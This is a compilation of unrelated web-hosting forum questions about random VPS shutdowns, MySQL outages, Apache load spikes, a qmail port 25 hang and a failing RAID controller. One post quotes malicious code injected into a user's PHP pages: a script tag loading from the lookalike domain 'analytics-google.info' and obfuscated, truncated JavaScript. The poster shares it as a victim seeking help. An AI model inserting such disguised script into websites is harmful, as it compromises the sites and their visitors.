VPS Stops Running Randomly
May 29, 2008
The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.
I checked for log files or anything, but there was nothing mentioning resources or anything.
Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?
I am using Virtuozzo and Plesk.

I have a phpBB forum, which uses MySQl database.
For the last two months the forum has been going down every couple of days because the database service has been continuously stoped running on the server with no reason.
What can cause such a frequent database failures?
Can someone attack the forum/database/server in a way that will cause the above problem?
(there is a good reason I consider this possibility very seriously)
How can I prevent futher database failures?

I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.
Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.

I have a very strange problem. Yesterday morning I got a "server down" alert. Restarted httpd and everything run ok ... until today morning, the same problem again.
Symptoms:
1. The webserver did not stop working, it just took too much time to respond.
2. I cannot find anything suspicious in the logs.
3. I started to log the number of apache processes in 4 minutes interval, it did not increase during the failure but remained at a very reasonable number.
4. Now, almost 3 hrs from the last failure, there are 36 apache processes, each eating 14M RAM, server has 4GB ram total, no swapping, almost 3GB are free (cached).
The question is.
How should I prepare for the expected tommorow failure, to be able finaly localise the problem?

I have 3 servers ServerA(Web, mail), ServerB(MySQL+Master replication), ServerC(Mysqlslave+web)
It happens that my website stops responding for few mins and then it comes back again automatically. I checked the server logs but I couldn't find any suspicious.
Also, while the website is not accessible when I try to connect internally from ServerC to ServerA or ServerB using SSH. It takes lots of time (approx more than 60 seconds) to connect. When website starts working SSH is also working fine.
This is very complicated for me. Can anyone let me know what should be the problem or how can I find root cause of this problem?

I have an account on my cPanel server with a cgi script in it wich works just fine under normal circumstances. I setup mod_perl and got it working just fine with the script. I edited the .htaccess file to do a 301 redirect and added the line “RewriteEngine on” and then whenever I try to access the cgi script I get:
Quote:
Forbidden
You don't have permission to access………..
If I disable mod_perl or remove the line “RewriteEngine on” from .htaccess it works fine.
In the cPanel error log I have:
Quote:
Options FollowSymLinks or SymLinksIfOwnerMatch is off which implies that RewriteRule directive is forbidden
But in htaccess I already have the line "Options +FollowSymLinks" which is part of the 301 redirect code.

Recently I've upgraded my MySQL server. I connect to it via a conection from NIC to NIC (Internal IP addresses). Since the upgrade/format, I've managed to get everything back to the way it was. Everything works fine for 15-20 minutes. Then the PHP server can no longer access the MySQL server.
I tried logging in from the PHP server, I get access denied. I then tried logging in locally, on the MySQL server and I get in fine...
It's not like it's a firewall issue though, it's strange...
I tried updating PHP/MySQL to a few releases, even the RC's to no avail...
Something to note is that when I try restarting MySQL it can take 4-5 minutes, sometimes not even complete.

I am having a very strange problem with 2 different cPanel accounts on a server with 500-600 accounts. For some reason after a day or two the mysql username/password stops working. We have tried changing the MySQL user and the password with no success. The log does not indicate that the MySQL password was changed in any way. Only these 2 accounts are affected and this problem occurred at least half dozen times each.
Again: these are two different accounts with 2 different MySQL users that after a while stop working (I am unable to determine if they stop working at the same time b/c they belong to different customers). When we reset the user (with the same pass) it works for a day or two. I have checked to connect not only from PHP but also from shell when it's down: it also doesn't work so this is a pure MySQL problem.
Also on the server we have Fantastico.

I am creating a web application, nothing spectacular just something to display content.
After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.
The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)
Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.
The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.
I contacted my host about the issue, and their first response said:
Quote:
Dear customer,
The images are there if you login through plesk control panel and go to
File Manager under your domain you can find the pictures and see
them.But some of them are not opening under your website.
Best Regards
Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...
Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.

Everything was running ok until last week.
I haven't really done anything new other then added another forum on the server (Invision).
Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.
On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.
The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.
Here's a screenshot when it was just about dead
http://img392.imageshack.us/my.php?image=serverwf0.jpg
I checked out the logs and didn't see anything.
I was either told it needed more ram or that it was hacked.
The JRE is the flashchat I'm running and the trans_linux is a bot for the shoutcast.
Since I haven't been doing anything new.. I don't think its the resources of the server thats too little.
The server i have is
Dual Opteron 252
2 gigs of ram
1 146GB 15,000RPM scsi drive
how I can resolve it? Is Apache using more memory then its suppose to?

Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.
49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).

For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.

Since 15.05.2015 smtp experiencing problems.
Smtp service (qmail) stops responding on port 25:
# time telnet localhost 25
Trying 127.0.0.1...
quit
quit
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
quit
quit
Connection closed by foreign host.
real 4m10.629s
user 0m0.000s
sys 0m0.002s
After server restart or sometimes apache stop or ixnetd restart its responding for a some random time, and then again it stops to respond. Plesk panel show it as stopped but qmail itself running in memory, and does other its work, it just stops responding at port 25, or responds with a huge delay.
I've tried change it to postfix, reconfigured with mchk, repaired with repair.sh -r, disabled and uninstalled parallels antivirus, antispam, dnsbl, disabled firewall, disabled smtp lock. Checked apache, dns. Enabled submission port which works when 25 port doesnt, but i need working 25 port.
Nothing solves problem, its just stops responding after some random time. There is no errors on maillog.
I think this problem occured after recent plesk microupdate, because i didn't do anything to server configuration in last months.
This article says it might be dnsbl [URL] .... but it disabled(from plesk panel) on my server, maybe there is way to focefully kill any relation to dnsbl?
Plesk info:

The system is up-to-date; last checked at May 17, 2015 10:56 PM
update: xinetd restart is definitely brings smtp alive, but it goes off after random period of time (5min ~ couple hours)

Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.

This problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.
My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.
But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.
My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.
I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.
